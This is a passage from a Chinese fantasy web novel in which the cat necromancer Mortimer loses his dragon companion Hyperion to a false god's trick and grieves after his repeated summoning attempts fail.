那不是一个温柔的表情,龙族的笑容从来与温柔无关,亥伯龙低低笑着,炙热的吐息断断续续地从齿缝间喷出,却偏偏在触及莫特默的瞬间变得轻缓,像是怕烫伤了他。 庞大的龙头朝莫特默凑得更近了,近到锋利的犬齿比莫特默整个身子都大,近到仿佛下一秒就会将莫特默吞入口中。 但莫特默一点都不害怕。 相反,他立马伸出毛茸茸的右爪,抵在凑过来的龙嘴上,挺起毛茸茸的雪白胸膛,像是小警察般警惕又义正言辞地表明自己的立场:“不要试图偷亲我!” 亥伯龙眨了眨眼。 “当然,想也不能想!”他嘟起嘴,胡须朝前炸开,整张猫脸上写满了嫌弃,可那只按压在龙嘴边的爪子却是软乎乎的,像一小团棉花糖。 可这样的表情,这样的动作,一点都起不到警告的作用,只会让人……让龙蠢蠢欲动,变得更加想要靠近。 亥伯龙的牙齿开始发痒。 他情不自禁上下颚咬合得更重了些,想要克制某种奇异的冲动。 伪神随之发出一声尖锐的惨叫,用另一种方式成功地打断了亥伯龙的蠢蠢欲动,也重新唤回了莫特默的注意力。 莫特默松开抵在亥伯龙脸上的爪,故作正经地像是个招财猫般举在身前。 “啊啊啊!你、我诅咒你!”伪神似乎也知道自己到了末路,尖声音愈发尖利,“你会失去一切,你会悔不当初,你会……” 半透明的利爪无声地从肉垫间弹出。 莫特默不紧不慢地高高抬起半举着的右爪。 爪尖上,不知是由教堂穹顶上的大洞照下来的光造成的反射,还是来自魔法的微光在利爪间流转闪烁。 然后,像是慢动作般挥下—— 伪神看见那只猫的金色眼睛,平静得像一潭深不见底的湖水,里面没有愤怒,没有怜悯,甚至没有即将终结什么的郑重。 只有一点懒洋洋的、仿佛在处理一件微不足道的小事的随意。 视线中的最后一幕,是凶狠朝他眼睛抓来的利爪,银光在爪尖拉出一道细线,像是裁开薄雾的第一缕晨曦。 激烈的咒骂声戛然而止。 伪神也……彻底不动了。 结界静谧地消散,展露出莫特默背后大开的教堂大门和之后的墓园。 第60章 亥伯龙毫不留情地吐出口中的尸体, 甚至不屑于将其吞下,连一个眼神都没施舍给地上的尸体,只微微抬起脑袋,在一道光中化为高大的人形。 而他化为人形后的第一个动作, 便是弯腰俯下身, 捞起地上的莫特默。 莫特默一惊, 却反应极快, 前肢霎时直挺挺地伸直,正正好抵住亥伯龙凑过来的脸。 见自己成功提前预判并拒绝了亥伯龙想要达成的意图, 莫特默粉色的鼻子微微翕动, 鼻腔里不由溢出一声得意的轻哼。 都说了禁止过度贴贴! 龙, 猫才不是那么好亲近的!莫特默深沉地想。 你以为偷袭就能成功吗? 被抵住脸的亥伯龙却没再往前, 强行将自己的脸埋进莫特默的肚皮里。 他就这样和莫特默保持着短短几厘米的一臂之距,暗金色的眼睛定定地望着莫特默, 一瞬不瞬, 一言不发。 他什么都没说, 可目光却像是淬了火, 沉沉的, 烫人的,望进莫特默的眼底, 从莫特默的瞳孔一路烧到他的尾巴尖。 莫特默被那目光盯得有些别扭, 像是有根羽毛在刺挠他的背一样, 后背的毛都隐隐发起烫来。 干嘛……看什么看? 由于莫特默大人的大发慈悲,彻底拜倒在他的魅力之下了? 哼……他这也是看在亥伯龙伺候得尽心的份上…… 他胡乱地想着, 尾巴尖不自然地甩了甩,按在亥伯龙脸上的爪子也情不自禁微微蜷缩,像是要踩奶般略微抬起。 好吧, 亥伯龙因此对他好感大增也是很合理的,他这次就勉强允许龙对他动手动脚吧…… 亥伯龙想吹点小猫屁,他也不是不能勉为其难地听听。 莫特默绷紧的身体也渐渐放松下来,小猫眼睛湿湿的,回视着亥伯龙。 亥伯龙的眼底慢慢地沁出笑意,像是发现了什么,逐渐变得笃定,表情漫不经心又似是有点得意。 他嘴巴微微张开,声音压得极低,几乎是只做出了口型,对着莫特默发出气音: “你喜欢我。” 轻轻的气流吹起莫特默耳朵里的毛。 莫特默呆呆地与亥伯龙炙热的眼神对视,迟了好几秒才接受并理解亥伯龙都说了什么。 他……? 莫特默不住甩动的尾巴尖都不自觉地停了下来,微微抬起的爪子也悬在半空,彻底呆住了地愣在原地。 见状,亥伯龙眼中的笑意愈深,他的头低下,再次朝莫特默靠近了一点,额头几乎是抵着莫特默的头。 他又一次张口:“你……” “砰砰砰” 说时迟,那时快! 亥伯龙的话没吐出,脸上就毫不客气地挨了好几个猫猫拳! 然后莫特默一个翻身,丝滑的皮毛让他就像一条滑不留手的泥鳅一样,倏地就从亥伯龙手中逃脱了,扑通一声跳到地上,又一溜烟地跑远,跳到教堂的窗台上,神情自若,优雅地舔起自己被亥伯龙弄乱的毛,每一根毛发都写满了“你想多了吧?”的矜持和拒龙千里。 亥伯龙一哽,原本胸有成竹般的表情立马变得有些气急败坏。 他刚想做出反击,却在思索了一圈后又发现自己竟对莫特默无可奈何,便只能恨恨地盯着窗沿边的猫,视线中甚至带上几分谴责。 一旁的维萨罗斯发出一声闷笑,塞拉菲涅更是递来对莫特默隐含赞赏和对亥伯龙宛如恶婆婆的一眼,而瑟兰迪尔早在亥伯龙捧起莫特默时就一脸没眼看地扭头,朝教堂外走去。 只有阿利斯泰尔可能是因为他之前调侃了亥伯龙后无事发生,这一回便也大肆地笑话起来:“亥伯龙你也太自作多情了吧?哈哈哈。” 即便亥伯龙几乎没有发出声音,但他说了什么,是瞒不过这些耳聪目明的死灵的。 亥伯龙神情不定地转过头,视线凉凉地看向阿利斯泰尔。 阿利斯浑然不觉(又或者他是故意的?)仍然在滔滔不绝地嘲笑亥伯龙,说一些亥伯龙笑话,然后…… “哇啊!”阿利斯警觉地跳起,躲过朝他刺来的猩红龙尾,嘴上依旧没停,爽朗地笑着,“亥伯龙,你不会是恼羞成……” “咚!” 阿利斯泰尔的话戛然而止。 他直挺挺地往后一倒,似乎有不存在的,眼睛是两个X的狼形灵魂从他口中飘出。 阿利斯躲过了龙尾,没能躲过紧随着的拳头,用脑门在亥伯龙的拳头上敲出一道清脆的声音。 好听吗?好听就是好脑壳。 然后发生了什么就像你们看到的,他脑门上冒着烟,神情安详地躺在了教堂的地上。 亥伯龙面色平淡地收回了拳头,在光天化日之下,我们的赤鳞暴君又完成了一次他的暴行,而周围竟也没有一个同情受害者的,纷纷展露出幸灾乐祸的笑容,维萨罗斯更是掏出手机,满意又动作有些笨拙地拍下了这一幕。 就连带着魔法生物们走进来的伊夫林,见到躺在地上,脑门冒烟的“尸体”,也只是愣了一下,然后若无其事地移开目光,继续朝莫特默一行人前进。 “莫特默殿下,所有的人员都已经清点完毕,虽然有些受伤了,但好在都没有性命之忧,而所有的信徒也已经被全部抓捕,只是都或多或少都到了惊吓。”他笑着说, “有您在,我们这次行动出奇顺利。” “还有,多亏了您给我推荐的这名人类。”他朝一同跟着进来的柯杰点头示意,“也是他给我们提供了重要线索,我们才能这么快地找到信徒的聚集地。” 一段时间不见,柯杰看上去整个人头发有些凌乱但衣服整齐,应该是没有在此期间受伤,不过他眼下一片青黑,眼神疲惫得像是加班了三天三夜的社畜,听到伊夫林夸他,也只是面前扯出一个难看的笑:“呵呵、呵呵……过誉了。” 说完,他露出自认为隐晦,但在场的人都能看得出来的悲愤和悲催不停交换的眼神,看样子心理活动非常丰富。 相信伊夫林能找到信徒大本营,确实有柯杰这个原本只是外围人员的帮助。(只是期间柯杰遭遇了什么,大家默契地忽略了过去。) 伊夫林泰然地说:“对于那些作恶的信徒,我们会在收集好证据后和人类那边进行交接,而至于原本是他们一员的柯杰……” 柯杰立马凝神期待地看过去。 伊夫林继续道:“看在他提供了帮助的份上,我们打算不断绝他成为魔法师的途径,教导他一些魔法,但在之后,他终生都要受到魔保协会的监管。” 柯杰的脸色先是一喜,接着听到自己要受到监管后,又耷拉下来,忍不住道:“你们当初和我说的时候可没提这个!” 一辈子接受监管,这和不在监狱里的囚犯有什么区别? 但没等伊夫林说什么或做什么,他看到余光中的死灵们,眼神很快又清澈了起来,悻悻道:“不、算了…我是说,这样挺好的。” 他无奈地吐了一口气,勉强安慰了一下自己,说服自己接受了这个结局,只是脸色依旧有些灰暗。 伊夫林:“既然事情已经解决了,我这边可以安排飞机送你们回去,又或者……?” 莫特默:“当然是坐维萨罗斯牌飞机!” 有快捷的维萨罗斯牌飞机,当然不要又慢又难受的人类飞机啦。 柯杰嘴角一抽,此时的他已经知道围在莫特默身旁的那几个死灵都是什么身份,此时听到莫特默直接将其中之一当作代步工具,似有什么话欲冲出他的嘴巴,又被他狠狠咽了回去。 维萨罗斯挑眉,闻言却没有生气反倒还微微弯了下腰,饶有兴致地笑道:“我的荣幸~” 毕竟他已经收获了最好的报酬,维萨罗斯想着,视线瞟向面色烦恼的亥伯龙,眼角笑意愈发加深。 莫特默惬意地在窗沿上拉伸了一下身体,又抖了抖耳朵尖,眼睛忽地一亮: “既然事情完美解决,我们是不是应该去吃顿庆祝的大餐?” 似乎有光划过他圆润的猫瞳,莫特默图穷匕见,夹带私货道:“我知道有一家特色料理,适合我们一起去喵。” “这家店据说会做一种来自古老海岸线的派,厨师将一整夜的海风与星光都揉进酥皮,然后选取晚上打捞起的新鲜海鱼加入派中,让他们保持着特殊的造型,以便让他们继续寻找海面上消失的月光。 他一本正经地介绍,“吃到的人都说他们好像也和那些鱼一样看到了星空,不得不一尝啊!” 柯杰这次没忍住,吐槽道:“你只是找了一个借口,单纯想去吃吧!” “还有,别以为我不知道,说得那么好听,实际上那个派就是仰望星空派吧!吃的人看到星空是因为眼冒金星了!!” 莫特默兴奋道:“好哎!既然答应了那我们就去吧!” 柯杰:“根本就没人答应!” 莫特默愉快地说:“我们这就出发吧~” “大家都同意真是太好了,也都很期待吃仰望星空派吧~” 柯杰:“所以说,根本就没人想吃那玩意!” “以及你已经完全暴露!说漏嘴了!就是仰望星空派啊!!这根本不是人能吃的玩意!” 莫特默充耳不闻。 叽里咕噜说啥呢,小猫只能听到他想听的,而现在很明显,所有人都赞同他的计划。 至于柯杰的那些话…… 莫特默像是第一次听到般,环视周围,吃惊地问:“谁反对?” “哈?没有谁会支持吧……”柯杰嘴角抽搐着,回头一看。 维萨罗斯嘴角挂着恶趣味的笑容,不语。 ……好吧,这个一看就不是什么正经人…梦魇,看上去就像是会助纣为虐的存在,赞同莫特默也正常,下一个。 阿利斯泰尔不语,嗯……这个一看就是没认识到这道黑暗料理的可怕,下一个。 塞拉菲涅不语……她本就是喜食海鲜的海妖,也正常,下一个。 亥伯龙……亥伯龙怎么一脸习以为常的模样?! 伊夫林以及其他魔法生物们也不语。他们刚被莫特默帮助过,自然不会扫兴。 而瑟兰迪尔倒是有些想开口,但他一想到要是他不去,就要放任这些妖魔鬼怪离开他的视线,说不定就要背着他搞些什么小动作,心中就有些放心不下,于是也闭上了嘴。 到头来,竟真的和莫特默说的一样,除了柯杰发出异议外,所有人都默认了莫特默的安排。 柯杰难以置信地回视这群没有底线的魔法生物们,感觉自己对这些传说中的存在滤镜碎了一地。 作为有尊严的传说之王,怎么能明知有坑还眼睛眨也不眨地去趟?宁愿去吃黑暗料理,也要哄小猫高兴吗?! 莫特默捋了捋胡须,邪恶地问:“怎么?众卿皆不语,你有什么高见?” 柯杰:…… 柯杰:………… 柯杰对这个人人都是猫奴的世界感到绝望。 维萨罗斯划开梦境空间,先让伊夫林和魔法生物们先进,最后是他们这些莫特默的死灵。 柯杰站在最后,在最后一个魔法生物的声音消失在“门”后,拖着沉重的脚步往“门”走去,又在路过莫特默时停下脚步站定,幽幽地垂死挣扎道:“这个仰望星空派……是不吃不可吗?” 莫特默露出阿利斯同款的笑容:“当然啦!” 柯杰猛地捂住胸口,似乎还没吃就已经感受到那恐怖的味道。 他按着衣襟按了好几秒,才放开手,手自然地在空中划出一道弧度。 与此同时,一道银白的反光在他手前亮了一瞬。 那是什…… ——雪白的刀毫无杀气地刺向莫特默。 不远处的死灵们脸色突变! “噗嗤!” □□被穿过的声音清晰地响起,血腥味随之蔓延。 鲜血嘀嗒滴答地落在瓷砖地上,绽开一朵朵血花。 众死灵迅速地围过来,将莫特默带离柯杰的身旁。 莫特默窝在阿利斯怀中,震惊又心有余悸地望向柯杰。 匕首浅浅没入了他的身体,但…… 莫特默的身上没有传来一丝痛觉,连毛似乎都没有掉一根。 雪白的刀刃上也没有丝毫鲜血,似乎刚刚他看到匕首没入的画面只是他的错觉。 那滴落在地上的血也不是他的。 他……没事? 亥伯龙蓦然握拳,捏碎手中捏着的心脏,又猛地抽出手臂。 柯杰的胸口破了一个大洞,鲜血如泉涌般流出伤口,他的右手还握着那把刀,随着亥伯龙抽出手臂摔倒在地上。 但他笑着。 柯杰咳嗽了一下,血沫堵住了他的喉咙,让他的话有些含糊不清,但依旧能让人听清,那是断断续续的笑声。 柯杰难以自禁地笑着,那笑声起初还带着几分压抑的颤抖,像是从牙缝里硬挤出来的胜利余韵,可渐渐地,音调开始扭曲、拔高,仿佛有什么东西正从这具身体的深处挣脱出来,撕开喉咙,露出真容。 那是一道尖锐、刺耳的熟悉声音,是一道几分钟前,他们刚刚听过的声音 ——伪神?! “柯杰”…不,伪神不再掩饰,仰头大笑,那笑容不再是人类那种复杂多变的情绪流露,而是一种纯粹的、狰狞的、近乎癫狂的得意。 与此同时,所有死灵都惊愕地发现自己的身体蓦然变得有些模糊,半透明起来。 这是……! 莫特默猝然抬首,却没有看向伪神,而是扭头,表情难掩震惊地望向亥伯龙。 他和亥伯龙的契约……?! 与其他只是身体变得有些半透明的死灵不同,亥伯龙的身影越变越淡,他也感受到了什么,震惊地望向莫特默。 “亥伯……”莫特默的话冲出口,可没等他说完,亥伯龙就化作细碎的,萤火虫般的光点,消失在了原地。 光点无声地泯灭。 “……龙?” 莫特默怔怔地凝望着亥伯龙消失的地方,语气懵然又迟疑。 他的声音很轻,轻得像是在发出疑问,又像是不敢相信,或没能从眼前的画面中反应过来。 “哈!哈哈哈!”伪神得意的声音像是隔着一层玻璃在莫特默耳边响起,“我怕你!?我怕你!!?” “你真以为我被你杀死了?!” “受过我恩惠的人类灵魂早就刻下我的烙印,生是我的奴仆,死是我的资产,只要我想,随时都可以收割他们的灵魂,占用他们的皮囊!” “你们杀了这个人类又如何?躯壳而已,我多得是,只要还有一个信徒活在这个世上,只要还有一个人向我献祭,向我祈祷,你就永远、永远也别想杀死我!!!” 尖厉的声音像是指甲在玻璃上剐蹭,刺得人脑筋作痛, “而我对你的诅咒,也将彻彻底底实现!你将再也无法契约亥伯龙,再也无法召唤他!” “你和他之间的联系已经被我彻彻底底地斩断,而他,只会是一个开始。” 他嚣张地笑着,笑声中满是报复的快意, “看看你周围的死灵吧,亡灵法师,他们都是你用契约召唤的灵魂,可在我面前,又算得了什么?我要让你亲手建立的契约分崩离析,让你最引以为傲的一切都化为乌有!” “痛苦吧,忏悔吧,为你与我作对感到后悔,伏下来求我,献上你的灵魂,哀求我的宽恕!” 他明明坐着,却用一种居高临下的眼神俯视莫特默, “到那时,我说不定会给你指明方向。” “……”莫特默静静地听着。 他没有颤抖,没有发怒,甚至没有移开盯着那片空地的视线。直到那笑声的余音渐渐消散,他才缓缓地、一点一点地,将目光从亥伯龙消失的地方收了回来。 那目光落在伪神身上时,伪神的笑声顿了顿。 “绝无可能。”莫特默说。 他冷淡地注视着伪神,声音很平稳,平稳得不像刚刚失去了重要的存在,像是陈述一个早已注定,不容置疑的事实。 “你可无法为我指明方向。” “因为我是天才亡灵法师。” 这句话从他唇间吐出,没有一丝自夸,只是最简单的宣告。 “所以,”他的嘴角缓缓上扬,这是一个他首次露出,让人背脊发凉,掺着狂气,又格外符合死灵法师的诡谲笑容, “我不仅会再一次将亥伯龙带回我的身边,我还要将你所有的信徒一一揪出来,将他们变成我的死灵,变成我最忠诚的奴仆,直至你逃无可逃,直至你站在我面前,身后再无一人……” “然后,你要在亥伯龙面前……” 风似乎在这一刻骤然停止。 伪神的瞳孔剧烈收缩。 莫特默嘴角高高咧起,虹膜在黑暗中反射出红光: “再被我杀死一次。”《 》 60-66 第61章 伪神的脸皮抽动了一下, 本能地有些畏缩,可又觉得这畏缩来得毫无缘由,便狂怒地张嘴就想讥讽回去。 可他表情扭曲地刚张开嘴,一道道魔法就洞穿了他的身体。 精准, 冷冽, 毫不留情, 连一声惨叫都没发出, 他就在空气中被撕成了碎片。 ——是莫特默。 他脸上依旧保持着ω的可爱嘴形,全然不像刚以一种堪称冷血与杀伐果断的果决杀死了“柯杰”, 掐断了伪神的话。 所有人都哑然地望着莫特默, 眼中流露出点点愕然。 他们从未见过莫特默如此模样, 自认识莫特默的第一天起, 他就是活泼灵动的,爱撒娇的, 爱恶作剧的, 像是孩子般天真纯粹又鲜活自由, 仿佛一切在他眼中都镀着一层美好。 他虽然自称是邪恶的死灵法师, 但他却更像是童话故事的主人公, 是长不大的彼得潘,是拥有邪恶力量但最喜欢的, 还是在花园中追逐蝴蝶的魔法猫咪。 但此时的莫特默就像是推翻了众人之前对他的印象, 露出一副截然不同的面孔。 教堂内, 鸦雀无声。 在所有人的视线中心,莫特默抬起脸, 自若地看向众人,那些目光中的复杂他一定读懂了,但他的表情却没有一点变化。 他只是开口:“回废弃工地。” 他的声音蓦然冷了下去, 简单的五个字就像五块冰,一块一块砸进死寂中。 某种锋锐的东西在他眼底闪烁,声音回荡在教堂的上空,带着不容置疑的重量, “我要,再一次召唤亥伯龙。” 只一眼,阿利斯泰尔原本还想插科打诨,安慰莫特默的所有话都堵在了喉咙里。 他忽然明白。 莫特默的这句话不是请求。 而是命令。 他是在作为死灵法师,作为他们这些死灵的主人,命令他们,将他带回安全的基地。 这一刻,所有死灵无论内心在想着什么,都默然不语,服从并执行了莫特默的这道命令。 莫特默回到废弃工地,回到他第一次召唤亥伯龙的地方。 他站在冰冷的水泥地上,召唤室地面上的魔法阵因为有一段时间没有使用,已经变得模糊缺失,墙壁和不远处的地上还残留着亥伯龙刚被召唤出来时攻击莫特默后留下了裂纹。 他就要在这相同的地点再一次召唤亥伯龙,但莫特默的心中却怀着和第一次召唤时不同的心情。 还记得,在第一次召唤时,他心中满是强打精神的积极,急切,犹疑和孤注一掷。 来到陌生世界的他急需一位能够保护他安全的保镖,所以即便缺乏魔力,即便疲惫虚弱,状态不好,即便连会回应的死灵是什么样的都不知道,他也毫不犹豫地举行了召唤,在死灵拒绝他时,更是强行与其签订了契约,拉到了身边。 而出现在召唤阵中的亥伯龙虽然在一开始对他颇有微词,却口嫌体正直,帮助小猫度过了最开始的艰难时光。 想到这,莫特默的嘴角不自觉地扬起。 而现在。 亥伯龙已经脱离了只是单纯保镖的定位,成为了他的铲屎官,在他犯懒时无奈地叹气,成为了他的床垫,在他困倦时任由他蜷缩在身上,成为了他在这个陌生世界里,第一个真正意义上的朋友,以及…… 某种莫特默现在还无法准确命名的,某种朦胧却毋庸置疑,很重要的东西。 莫特默知道的哦。 和其他死灵不太一样,亥伯龙在看他的第一眼时,就已经很喜欢他了。 所以他才会对亥伯龙得寸进尺,对亥伯龙呼来喝去,一开始就对亥伯龙态度肆意。 而他,他对亥伯龙…… 记忆中突然响起那句曾让他心跳漏了一拍的话。 莫特默莞尔,露出俏皮的笑容。 有什么话,就等亥伯龙回来后再说吧~ 他们会有大把的时间,就像死亡无法将他们分开,断开的契约也无法将亥伯龙永远带离他的身旁。 现在虽然已经没了召唤亥伯龙的媒介,但凭借着亥伯龙这些时日来在这栋大楼里留下的气息,莫特默相信,也足够了。 而且…… 难道亥伯龙还会不回应他的呼唤吗?他底气十足地想。 莫特默耐心地将法阵描补好,站在法阵的前方,怀着期待的心情,像第一次召唤亥伯龙那样,念诵出死灵魔法的咒语。 熟练的咒语从口中溢出,魔力翻涌,法阵随之发出光芒。 渐渐地,莫特默的四肢泛起久违的酸痛感,莫特默吃惊地抖了抖胡须。 虽然他之前召唤尸妖大军时挥霍了一些魔力,但召唤亥伯龙需要的魔力竟比预期中还要多。 第二次召唤就连被大量抽取魔力时的肌肉抽搐也要复刻吗? 莫特默啼笑皆非,但还是放任自己浩瀚的魔力没入召唤阵。 法阵发出的光愈发强盛,亮到最极致时,莫特默忍不住在耀眼的白光中闭上眼睛。 光芒渐渐散去,召唤结束了,莫特默高兴地睁开眼,得意地说:“亥伯龙,欢迎回……” 话语戛然而止。 他面前召唤阵中,分明空无一人。 莫特默:……? 他困惑地左顾右盼,想要看清亥伯龙是不是藏在某个地方,可不大不小的召唤室连家具都没有,又哪来的躲藏之地? “亥伯龙?”莫特默轻声呼唤,“亥伯龙?” 无人应答。 形状完美的召唤阵被完整地刻画在地面上,可本应该出现在上面的身影不见踪影。 “……我知道了。”莫特默恍然,“你是生气了吧。” “因为我没有好好给你答复,因为我说好要帮你杀死伪神却让他逃脱了。” 他撅起嘴,气鼓鼓地说:“真是小气!” “好吧,伪神逃脱了是我没想到,但退一步来说,你没有发现伪神的异常,让他把我们之间的契约切断了,你就没有错吗!” 他絮絮叨叨地,拒不承认自己的错误,还倒打一耙,控诉起亥伯龙来。 无人应答。 莫特默喵喵喵地说了好一会儿后,才意犹未尽地停下,颐指气使道:“再给你一次机会,这次不许不回应我了喵!” 警告完毕,莫特默再一次启动召唤阵。 这一次,肌肉处传来的痛感更加剧烈,莫特默默不作声地忍耐着,看着法阵在眼前发光。 法阵发出刺眼的光,眼前一片白茫茫的。 这一次,即便光再亮,亮到他眼睛感到生理性的不适,想要流泪,他也没有闭眼,而是一直睁得大大的,专注认真地盯着召唤阵瞧。 光芒缓缓散去,召唤阵上……空荡荡的。 莫特默:…… 莫特默:………… 他眼睛眨也不眨,凝视着那片空无一物的空气。强光留下的残影还在视网膜上跳动,可他视线所及只有虚无。 眼眶的酸涩蔓延成刺痛,他却连眨眼都忘了,只是那样空茫地、怔怔地看着。 召唤失…… 败了? 失败……? 这个词在他脑海里反复滚动,却怎么也落不到实处,像是某种异次元的语言。 “龙?”他看着面前空荡的房间,视线懵懂又怔然。 难以置信的话下意识溜出嘴边,轻飘飘的,却又重得让他自己都愣住, “你不要我了吗?” 轻轻的声音回荡在房间。 无人应答。 寂静像实体一样压下来,压在莫特默的耳朵,眼睑上,胸口上。 莫特默的眼睛在一片寂静中颤动了一下,但依旧没有阖上。 他是天才的死灵法师,他不会失败。 他从没有失败过,他的召唤也绝不会失败,失败这个词就不在他的词典中。 所以…… 莫特默在心中轻轻说出答案,轻得像是怕被自己听见。 是龙不愿意回应他? 莫特默:…… 莫特默没有再说话,他只是沉默着,再一次举行了召唤。 然后是第四次、第五次、第六次…… 一次又一次。 法阵亮起又熄灭,召唤室里只有莫特默小小的身影。 他没有停。 他停不下来。 直到塞拉菲涅强行闯入召唤室,将因为剧烈的疼痛无法控制身体,瘫软在地上的莫特默强硬地拖走。 在最后被带离召唤室时,莫特默犹不甘心,他撑着虚弱的身体,怒极似地一口狠狠咬在塞拉菲涅的手上,抗拒离开此地,终于再一次发出声音。 那声音几乎像是在尖啸:“我不结束,我不接受,我是未来最有可能成为最强的死灵法师的猫…我不会失败……” “我不会失败!!!!” 他像是被逼到绝境的小兽,浑身炸起毛,喉咙发出威吓的哈气,第一次朝其他人发火,挣扎着要爬到召唤阵前,但还是无法抗拒地被拖走,被说着“您需要休息”,放在了他高高的垫子上。 从那一天起,莫特默就陷入了沉默。 他沉默地窝在自己的垫子上,沉默地站在召唤室里,沉默地喝下一瓶瓶补魔的魔药。 也沉默地拒绝了所有的沟通。 阿利斯泰尔担忧地注视着空荡的猫窝,低低地叹了一口气。 这么多天来,他一直在试图哄莫特默开心,可往常管用的手段个个都失了灵,变作狼形邀请莫特默骑在他背上,换来的只有莫特默将头埋进腿间的无声拒绝,邀请莫特默和他一起打游戏,换来的只有莫特默像是想到什么人后更加低落的模样,故作搞怪地说一些笑话,莫特默也只是呆呆地看着虚空中的一点,一看就什么都没听进去。 就连他给莫特默梳毛,莫特默也沉默着,柔软的身躯硬邦邦的,像是风干了的面包。 大楼内没了莫特默平日里喵喵的叫声和闹腾声,好似一瞬间寂寥了下来。 就在刚才,在龙族送来了亥伯龙生前的物品让莫特默有了可以定向召唤的媒介,但莫特默的召唤仍失败了后, 莫特默就在拒绝了所有人的跟随后一只猫跑走了,跑出废弃工地,不知跑到了哪里去。 阿利斯泰尔很担心,但阿利斯泰尔不知道怎么办。 就这么几天下来,阿利斯也跟着郁郁起来,有了莫特默和阿利斯这两个好似头上下着雨的家伙,大楼内都要发霉地长出蘑菇。 又是一声叹息。 阿利斯泰尔忧愁地望着大门的方向,为气氛灰暗的大楼内再加上一份愁绪。 “啪”的一声,一旁的瑟兰迪尔受不了地合上手中的书,朝阿利斯泰尔看过来,面色淡淡:“你没事干吗?” 这个时候有个唉声叹气的晦气家伙在身旁,一贯性情暴躁的他竟没有吐出一些屏蔽词,虽然话语依然不是很友善,但已近乎是一种指点和明示, “与其在这当一个雕像,不如去做点什么你能做的。” “莫特默不是下达了命令,说要找出所有的信徒吗?” 阿利斯泰尔愣愣抬头,然后像是被点醒了眼睛忽地一亮,一扫头顶的阴云密布,重新回复成平时阳光开朗的模样:“你说得对,瑟兰谢谢你!我这就去联系伊夫林他们!” 说完,他匆匆地往外走去。 身处同一个房间,见到刚刚这一幕的塞拉菲涅挑眉:“你竟然偶尔也会说出点人话,狗嘴吐出象牙了?” “而且你竟然会服从莫特默的命令……”她眼眸流露出意外之色,上下打量瑟兰迪尔,像是第一次认识他般稀奇,“最近帮助伊夫林他们寻找和围猎信徒的,除了维萨罗斯,就是你了吧?” 瑟兰迪尔神色淡然:“为什么不?” “我想不出不去这么做的理由。” 塞拉菲涅定定地看了瑟兰迪尔一会儿,轻笑了一下。 ……这家伙。 而另一头,“离家出走”的莫特默正独自在路边,低垂着头,漫无目的地走着。 这些天来,他的话少得可怜,但这种缄默没能让他变得冷静,反倒仿佛变成了某种无声走动的时钟,让焦灼在他的心底一点一滴地堆积。 他不理解,他真的不理解,他的召唤为什么会失败。 他不是……天才亡灵法师吗? 莫特默倔强地思考。 是他和亥伯龙之间的羁绊不够深吗? 是他不小心做了什么,惹了亥伯龙生气? 是他的天赋不够,无法成功达成召唤? 莫特默吸了吸鼻子,不知怎么,他鼻头酸酸的。 又或者,其实,是他……做错了什么吗? 他不相信那个伪神的诅咒会实现,不相信就因为伪神,他就无法召唤成功,不相信凭借他,无法战胜伪神设下的阻碍。 那到底……是因为什么? 难道他的召唤再也成功不了,他就要这样永远都见不到亥伯龙了吗? 亥伯龙为什么不回应他,为什么…… 不远处,一对牵着手的情侣脚步轻盈地走过,他们的眼中只有彼此,没有看到躲在路边的小猫,自顾自与彼此笑谈着,他们的笑声飘过来,那幸福的氛围光是看到似乎就能被他们感染。 但莫特默只感受到巨大的难过,某种忽然出现的悲伤像是一条坏鲸鱼,在莫特默的心上吞下了一大口下去,让小猫的心出现了一个大洞,一股脑地灌着冰冷的海水。 他还没回应亥伯龙的话,还没让亥伯龙露出更多的,气急败坏的表情,没有让亥伯龙对他伏低做小,咬牙切齿地答应他一堆不平等条约…… 莫特默在一片树荫下站定,风刮过,吹起沙沙的声响,一片树叶随风飘落,落在莫特默身前。 他盯着这片树叶,鎏金色的眼眸黯淡下来。 为什么…… 不,又有什么为什么呢…… 他知道的。 莫特默仰头望向头顶的树叶,支离破碎的光在树叶间摇晃,晃得他的视线都变得模糊起来。 连将他养大,说是最喜欢他的老师都不愿意回应他,又何况…… 亥伯龙。 莫特默静静地想,视线不争气地越来越模糊。 就像老师一样,亥伯龙不会回应他的。 就像他曾千百次画好召唤阵呼唤老师,可就连偷偷使用了那个作为“神器”的蜡烛,老师都不愿意出来见他一样。 莫特默感到一阵清醒的麻木与倦怠,身体好似沉得抬不起来,他蹲在那,小小的身体缩成一团。 就算杀了所有的信徒,杀了伪神又如何?他见不到亥伯龙了…… 老师,这是你给坏孩子的惩罚吗? 惩罚他没有好好学习,惩罚他老是调皮捣蛋,不把你的话放在心上,惩罚他擅自离开了家…… 家……这里不是他的时代,这里不是他的家。 外面的世界确实很大,很广阔,也很精彩,让小猫目不暇接。 但他想回家了。 但……他的家在哪? 欢声笑语声渐行渐远,莫特默也机械地重新抬起脚步,低着头,一步一步往前走去。 他茫然若失地走过了几条马路,觉得脚下的道路变得陌生又无法辨认,阳光更是刺得他睁不开眼,所有的东西好像也变得不堪入目。 周围的灌木和大树歪歪斜斜,东倒西歪,人们的身形也奇怪地扭动着,像是另一个物种。 连脚下的道路也变得陌生,向各个方向变得越来越宽,宽到了荒谬的地步,因此,他的家也离得越来越远了。 回去。 他要回去。 回—— 回不去了。 莫特默怔怔地想。 他不是穿越到了异世界,而是从千年前穿越到千年后,即便是从老师口中,莫特默也没有听说过有可以令时光倒流,让人回到过去的魔法。 那回废弃工地? 但废弃工地和千年前的法师塔又有什么区别?那里有舒适的环境,友善的死灵,有所有应该存在的东西,但唯独不是他理想中的那个“家”。 莫特默的脚步倏地停下。 他走不动了。 老师,你说过,有你在,我永远都有犯错的资格。 但你没有说过……没有说过如果你不在,我该怎么办? 接着他又想起另一个人。 亥伯龙。 你说你会一直在我身边的。 现在你在哪? 你怎么可以食言? 你怎么可以……抛下我? 莫特默抬起头,天大地大,四面都是路,哪处都可以去,但一时间,他竟不知自己应该往哪走。 他就这样站在那,像一尊石像,太阳从他头顶慢慢滑向西边,金红色的光涂在他身上,又慢慢泯灭。 莫特默一直站在那,呆呆的,一动不动。 街道上的人影变得越来越稀少,太阳落下,大家都陆续回家了。 只有莫特默还站在那。 忽然,一阵轻微的脚步声从身后传来,在他身后一段距离站定。 莫特默慢了几秒,才迟钝地扭身。 风吹起金色的长发,耀眼的金发落下,露出一张熟悉的面容。 老师…… 瑟兰迪尔站在那,说:“回去吧。” 莫特默死死抿住嘴巴。 明明知道对方不是,明明知道眼前只是一个长得像的死灵,但他还是终究没忍住。 一直没有落下的眼泪啪嗒啪嗒地掉了下来,砸在地上。 莫特默抽抽搭搭地哭起来,小小的鼻涕泡吹出粉色的鼻腔。 